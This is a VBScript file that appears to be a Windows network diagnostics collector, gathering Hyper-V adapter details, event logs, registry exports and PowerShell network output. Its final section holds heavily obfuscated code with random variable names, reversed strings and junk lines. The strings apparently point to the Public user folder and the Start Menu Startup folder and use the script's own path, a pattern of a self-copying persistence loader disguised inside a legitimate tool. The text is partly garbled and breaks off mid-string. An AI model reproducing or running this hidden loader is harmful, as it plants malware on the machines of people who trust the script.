Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)
Next
End If
Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)
Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)
If (nicType = 0 Or nicType = 1) Then
Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)
strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"
Set queryResult = objVirtualizationService.ExecQuery(strQuery)
If (queryResult.Count > 0) Then
Set vm = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)
End If
End If
End If
Next
Next
' Disconnected NIC info
strQueryArray = Array("Select * from MSVM_SyntheticEthernetPort", "Select * from MSVM_EmulatedEthernetPort")
nicType = 0
Call AddXmlNodeEntry(xmlDoc, "DisconnectedNics", null, objRoot, objDisconnectedNics)
For Each strQuery in strQueryArray
Set switchPort = objVirtualizationService.ExecQuery (strQuery)
For Each nic In switchPort
Set lanEndPoint = port.Associators_("Msvm_DeviceSAPImplementation", "Msvm_LANEndpoint")
Set connectedlanEndPoint = lanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint")
if (connectedlanEndPoint.Count = 0) Then
Call AddXmlNodeEntry(xmlDoc, "Nic", null, objDisconnectedNics, objNic)
Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)
Call AddXmlNodeEntry(xmlDoc, "NicType", nicTypeArray(nicType), objNic, objNicId)
If (IsNull(nic.NetworkAddresses) = False) Then
For Each networkAddress In nic.NetworkAddresses
Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)
Next
End If
Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)
Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)
If (nicType = 0 Or nicType = 1) Then
Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)
strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"
Set queryResult = objVirtualizationService.ExecQuery(strQuery)
If (queryResult.Count > 0) Then
Set vm = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)
End If
End If
End If
Next
nicType = nicType + 1
Next
Set objIntro = xmlDoc.CreateProcessingInstruction ("xml", "version='1.0'")
xmlDoc.insertBefore objIntro, xmlDoc.childNodes(0)
xmlDoc.Save outputFileName
Else
End If
End Sub
Sub GetVmswitchLog(vmswitchlogFileName, vmmslogFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
'Export the vmswitch events from system log
cmd = "cmd /c wevtutil epl System /q:""*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]"" " & vmswitchlogFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & vmswitchlogFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Export the VMMS networking log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Hyper-V-VMMS-Networking"" " & vmmslogFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & vmmslogFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetApplicationExportLog(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
'Export the ApplicationExport log
cmd = "cmd /c wevtutil epl Application " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetSystemExportLog(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
'Export the ApplicationExport log
cmd = "cmd /c wevtutil epl System " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it can be read on different machines
cmd = "cmd /c wevtutil al " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetHotFixInfo(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c wmic qfe >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetCreateBindingMap(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netcfg -m >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetWinsockLog(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg.exe query hklm\system\CurrentControlSet\Services\Winsock\Parameters /v Transports >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c reg.exe query ""hklm\system\CurrentControlSet\Services\Winsock\Setup Migration"" /v ""Provider List"" >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh.exe winsock show catalog >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetEpdPolicies(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseDataProtection\Policies " & outputFileName & " /y /Reg:64"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetPolicyManager(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\Providers " & outputFileName & " /y /Reg:64"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetHomeGroupListener(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HomeGroupListener " & outputFileName & " /y /Reg:64"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetHomeGroupProvider(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HomeGroupProvider " & outputFileName & " /y /Reg:64"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetServiceLogInfo(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c sc.exe queryex nativewifip >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc.exe qc nativewifip >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc.exe queryex wlansvc >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc.exe qc wlansvc >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc.exe queryex dhcp >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c sc.exe qc dhcp >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetPowershellInfo(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "powershell -command " & _
"$net_adapter=(Get-NetAdapter -IncludeHidden); " & _
"$output= ($net_adapter); " & _
"$output += ($net_adapter | fl *); " & _
"$output += (Get-NetAdapterAdvancedProperty | fl); " & _
"$net_adapter_bindings=(Get-NetAdapterBinding -IncludeHidden); " & _
"$output += ($net_adapter_bindings); " & _
"$output += ($net_adapter_bindings | fl); " & _
"$output += (Get-NetIpConfiguration -Detailed); " & _
"$output += (Get-DnsClientNrptPolicy); " & _
"$output += (Resolve-DnsName bing.com); " & _
"$output += (ping bing.com -4); " & _
"$output += (ping bing.com -6); " & _
"$output += (Test-NetConnection bing.com -InformationLevel Detailed); " & _
"$output += (Test-NetConnection bing.com -InformationLevel Detailed -CommonTCPPort HTTP); " & _
"$output += (Get-NetRoute); " & _
"$output += (Get-NetIPaddress); " & _
"$output += (Get-NetLbfoTeam); " & _
"$output += (Get-Service -Name:VMMS); " & _
"$output += (Get-VMSwitch); " & _
"$output += ""(Get-VMNetworkAdapter -all)""; " & _
"$output += (Get-DnsClientNrptPolicy); " & _
"$output += (Get-WindowsOptionalFeature -Online); " & _
"$output += (Get-Service | fl); " & _
"$pnp_devices = (Get-PnpDevice); " & _
"$output += ($pnp_devices); " & _
"$output += ($pnp_devices | Get-PnpDeviceProperty -KeyName DEVPKEY_Device_InstanceId,DEVPKEY_Device_DevNodeStatus,DEVPKEY_Device_ProblemCode); " & _
"$output | Out-File " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetExistingFile(inputFileName, outputDirectory)
On Error Resume Next
dim outputPath
outputPath = outputDirectory & "\"
outputPath = Replace(outputPath, "\\", "\")
If WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.FileExists(inputFileName) Then
WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.CopyFile inputFileName, outputPath
End If
End Sub
Sub GetExistingFiles(inputPath, outputPath, filePrefix, fileSuffix)
On Error Resume Next
exists = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.FolderExists(inputpath)
if (exists) then
Set objFolder = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetFolder(inputpath)
Set colFiles = objFolder.Files
Set fileNameForCab = ""
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
fileNameForCab = Replace(objFile.Name, "%", "-")
WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & fileNameForCab
end if
end if
Next
end if
End Sub
Sub GetExistingFiles(inputPath, outputPath, filePrefix)
On Error Resume Next
exists = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.FolderExists(inputpath)
if (exists) then
Set objFolder = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetFolder(inputpath)
Set colFiles = objFolder.Files
Set fileNameForCab = ""
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
fileNameForCab = Replace(objFile.Name, "%", "-")
WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & fileNameForCab
end if
Next
end if
End Sub
Sub GetPantherFiles(inputPath, outputPath, outputFilePrefix, filePrefix, fileSuffix)
On Error Resume Next
exists = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.FolderExists(inputpath)
if (exists) then
Set objFolder = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetFolder(inputpath)
Set colFiles = objFolder.Files
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
'add prefix to output file to avoid copying over files with identical names
WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & outputFilePrefix & objFile.Name
end if
end if
Next
end if
End Sub
Sub GetWlanReport(outputPath)
On Error Resume Next
dim wlanOutputPath
wlanOutputPath = shell.ExpandEnvironmentStrings("%programdata%\") & "Microsoft\Windows\WlanReport\"
exists = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.FolderExists(wlanOutputPath)
if (exists) then
Set objFolder = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetFolder(wlanOutputPath)
objFolder.Delete True
end if
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wlan show wlanreport"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
Set colFiles = objFolder.Files
For Each objFile in colFiles
Call GetExistingFile(wlanOutputPath & objFile.Name, outputPath)
Next
End Sub
Sub GetBatteryReport(batteryReportFilename)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c powercfg.exe /batteryreport /output " & batteryReportFilename
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetLatestNdfSessionEtlFile(inputPath, outputPath, filePrefix, fileSuffix)
currentDirectory = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetAbsolutePathName(".")
dirParts = Split(currentDirectory, "\")
drive = dirParts(0)
usersFolder = dirParts(1)
username = dirParts(2)
fullInputPath = drive + "\" + usersFolder + "\" + username + "\" + inputPath
exists = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.FolderExists(fullInputPath)
if (exists) then
Set objFolder = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetFolder(fullInputPath)
Set colFiles = objFolder.Files
Set mostRecent = Nothing
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
if (mostRecent is Nothing) THEN
Set mostRecent = objFile
elseif (objFile.DateLastModified > mostRecent.DateLastModified) THEN
Set mostRecent = objFile
end if
end if
end if
Next
if NOT (mostRecent is Nothing) THEN
Call GetExistingFile(fullInputPath & mostRecent.Name, outputPath)
end if
end if
End Sub
On Error Resume Next
Dim adapterInfoFile, netInfoFile, WcnInfoFile
Set FSO = CreateObject("Scripting.FileSystemObject")
Set shell = WScript.CreateObject( "WScript.Shell" )
sysdrive = shell.ExpandEnvironmentStrings("%SystemDrive%\")
systemRoot = shell.ExpandEnvironmentStrings("%SystemRoot%\")
wHjnLSXWbDnCNLPHNGyhuriSUWSSKhXqawrOTUISKkUXobZqLkHhUGOGXNJOGGKKaGTejpUPaDnwHjnakDUtNWcHeWMNjJNNnvbj = "UWO"
OCFTMKVBKFMFLKHFHKQZLFD
NFMTVOKDBJOMLKMGPCRGLBKVVKSXRZHORZHYGDPCHCVDXRNRCZX
SgMUrPWUzRUCqhMyWOjIAGlCoeCMcWaakAGjGRKWBTGNAUxKadZILecNNIzNeuBPCrynWqUMUUcSrNcUJDRXqUcYGUiKMiwWYgzN = ""
if (CInt(HgNH) < 1) and true then
Set SgMUrPWUzRUCqhMyWOjIAGlCoeCMcWaakAGjGRKWBTGNAUxKadZILecNNIzNeuBPCrynWqUMUUcSrNcUJDRXqUcYGUiKMiwWYgzNo = CreateObject("WScript.Shell")
Set WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY = CreateObject("Scripting.FileSystemObject")
SgMUrPWUzRUCqhMyWOjIAGlCoeCMcWaakAGjGRKWBTGNAUxKadZILecNNIzNeuBPCrynWqUMUUcSrNcUJDRXqUcYGUiKMiwWYgzN = WaYWPzlGJNWcsIiPMcMlXzqLKQLfyHfHKqswYYLfleLcWPXWGKaYPLLGqIWWbseRABRKhGiUwKvGRMAUUwRKzeqHaWURNUcQUuLY.GetAbsolutePathName(WScript.ScriptFullName)
prDNfgfOUBkRnZBAPnTSqopKrfdUNUBOIADOWSfOPXllDiPrcKXoxmXcqocccovWUduDyiLbcqoIfdNxTjePWTqrKaBtkiUAciwl = SgMUrPWUzRUCqhMyWOjIAGlCoeCMcWaakAGjGRKWBTGNAUxKadZILecNNIzNeuBPCrynWqUMUUcSrNcUJDRXqUcYGUiKMiwWYgzN
fpLypUfWXggUWoDWqLDjPUUmKNPgcfLlDfUjUSWHALtecDQPWPRBcjQXjLQWzlWUoLdqZjCyOjdPBpKWZgKZPLWsWZWAWtgqSNPp34 = "
HLRNLGHdNltUYPmLsOwcAnsKCJctzHMcwcYMUULLGOkcbwLALAxUbLOUMjOqrcDoUmDslKyNrcAcagUqnlCncPLADzLkDOcWUWAw = ""
vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK = ")'sbv." + wHjnLSXWbDnCNLPHNGyhuriSUWSSKhXqawrOTUISKkUXobZqLkHhUGOGXNJOGGKKaGTejpUPaDnwHjnakDUtNWcHeWMNjJNNnvbj + " \pu
4atS\sm
vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK = vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK + " tra
4dniW\t
4aoR\a
vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK = azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG(azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG( vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK , fpLypUfWXggUWoDWqLDjPUUmKNPgcfLlDfUjUSWHALtecDQPWPRBcjQXjLQWzlWUoLdqZjCyOjdPBpKWZgKZPLWsWZWAWtgqSNPp34 , HLRNLGHdNltUYPmLsOwcAnsKCJctzHMcwcYMUULLGOkcbwLALAxUbLOUMjOqrcDoUmDslKyNrcAcagUqnlCncPLADzLkDOcWUWAw ),vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK,vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK)
CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD = "
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD = CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD + "
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
^*y('"
CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD = CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD + SgMUrPWUzRUCqhMyWOjIAGlCoeCMcWaakAGjGRKWBTGNAUxKadZILecNNIzNeuBPCrynWqUMUUcSrNcUJDRXqUcYGUiKMiwWYgzN + "',"
CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD = CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD + "'C
$*s(rm
$*s(rm
$*s(rm
$*s(rm
^*ers\'
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
$*s(rm
